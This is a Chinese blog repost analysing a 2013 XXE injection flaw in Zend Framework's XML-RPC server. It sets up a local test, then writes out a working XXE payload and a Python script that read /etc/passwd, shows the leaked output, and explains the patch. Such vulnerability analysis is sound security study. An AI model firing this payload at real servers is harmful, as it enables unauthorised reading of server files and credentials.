记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

对zend framework xxe injection 的分析

2013-01-16 11:54

对zend framework xxe injection 的分析

author:mkods

前几天网上爆出一个zend framework 漏洞,具体描述如下:
https://www.sec-consult.com/files/20120626-0_zend_framework_xxe_injection.txt
; 根据描述,该漏洞是发生在zend 框架 xmlrpc模块的一个 xxe(XML external entity) injection漏洞,利用这个漏洞可以读取服务器上任意文件,例如php文件源代码; xmlrpc是提供rpc (远程过程调用)服务的一个模块,采用xml语言在服务端跟客户端之间进行数据交互;问题就出在服务端跟客户端对xml的解析上;

网上已经有文章证明了这个漏洞,并给出了成功读出”/etc/passwd”文件的截图;但我没看明白具体是如何爆出文件内容的; 为了明白这个漏洞到底如何利用,以及成功利用需要什么条件,我写了个简单的程序测试; 既然是rpc服务,那就得有一个客户端,一个服务端; 服务端提供了一个程序hello,当有客户端向服务端请求执行hello函数时,服务端就会执行hello函数,并把运行结果”this is a zend framework xmlrpc helloword”返回给客户端; 具体代码如下

服务端代码server.php:
<?php
//server.php
require_once ‘Zend/XmlRpc/Server.php’;
//对客户端提供服务的hello函数
function hello(){
return “hello, this is zend framework xmlrpc helloword”;
}
$ser = new Zend_XmlRpc_Server();//创建xmlrpc服务端;
$ser->addFunction(‘hello’); //添加函数hello为对外提供的服务
echo $ser->handle();
?>

客户端代码client.php
<?php
//client.php
require_once ‘Zend/XmlRpc/Client.php’;
//建立客户端连接
$cli = new Zend_XmlRpc_Client(‘http://127.0.0.1/zendtest/server.php’);
echo $cli->call(‘hello’); //向远程服务端请求执行 hello函数
?>

把代码server.php、client.php部署到apache,开启wireshark抓包,然后在浏览器访问http://localhost/zendtest/client.php,页面成功显示来自server.php的字符串

打开wireshark 查看这个过程中产生的数据包

执行流程是这样的
浏览器——>client.php——->server.php;
server.php——–>client.php->浏览器;
最关键的两个数据包:第4个数据包是client.php请求server.php执行hello函数的post数据;第5个数据包是server.php返回给client.php的数据;
包内容如下:

数据包4:                                                                                          数据包5:

 

通过查看数据包,熟悉了 zend_xmlrpc的工作流程,以及所发数据的格式及意思; 现在我们根据已知格式来构造会触发漏洞的数据包:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE foo
[<!ELEMENT methodName ANY>
<!ENTITY xxx SYSTEM "file:///etc/passwd">]>
<methodCall>
<methodName>&xxx;</methodName>
</methodCall>
该恶意数据包的目的是读取服务端系统的 “/etc/passwd”文件;

为了测试方便,我写了一个python脚本向server.php发包,代码如下:
#!/usr/bin/env python
import urllib2
req = urllib2.Request(‘http://127.0.0.1/zendtest/server.php’)
post_data = ”’<?xml version=”1.0″ encoding=”UTF-8″?><!DOCTYPE foo [<!ELEMENT methodName ANY><!ENTITY xxx SYSTEM "file:///etc/passwd">]><methodCall><methodName>&xxx;</methodName></methodCall>”’
req.add_data(post_data)
response = urllib2.urlopen(req)
print response.read()

执行这个python脚本,返回结果如下:


成功爆出了”/etc/passwd”文件的内容;

现在来整理下该漏洞产生的流程:

1: server.php 收到xml数据,交给zend_xmlrpc_server:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE foo
[<!ELEMENT methodName ANY>
<!ENTITY xxx SYSTEM "file:///etc/passwd">]>
<methodCall>
<methodName>&xxx;</methodName>
</methodCall>

2:Zend_Xmlrpc_server模块直接使用 new simpleXMLElement($xml)解析xml,并创建实例;解析后的xml实例为:

<methodCall>
<methodName>
avahi:x:106:114::/var/run/avahi-daemon:/bin/false
    snort:x:107:115:Snort IDS:/var/log/snort:/bin/false
    statd:x:108:65534::/var/lib/nfs:/bin/false
    haldaemon:x:109:117::/var/run/hald:/bin/false
    kdm:x:110:65534::/home/kdm:/bin/false
    festival:x:111:29::/home/festival:/bin/false
    usbmux:x:112:46::/home/usbmux:/bin/false
    postgres:x:1000:1000::/home/postgres:/bin/sh
    test:x:1001:1001:a,a,a,a,a:/home/test:/bin/bash
</methodName>
</methodCall>

3:zend_xmlrpc_server读取methodname的值(即红色字体文字)作为客户端请求执行的函数;

4: 由于请求的函数不存在,zend_xmlrpc_server返回错误信息 xxx does not exits;(xxx为 /etc/passwd 的内容)
由此泄漏了”/etc/passwd”的内容

zend framework的新版本修复了这个漏洞,截图中红线处的代码是补丁代码:

执行 libxml_disable_entity_loader(true),这样SimpleXMLElement在解析xml的时候就不会解析entity;也就防止了文件泄漏的产生

相关链接: libxml_disable_entity_loader

              xml-external-entity

              OWASP Testing for XML Injection

知识来源: minisafe.sinaapp.com/75.html

阅读:227228 | 评论:0 | 标签:安全技术

想收藏或者和大家分享这篇好文章→复制链接地址

“对zend framework xxe injection 的分析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云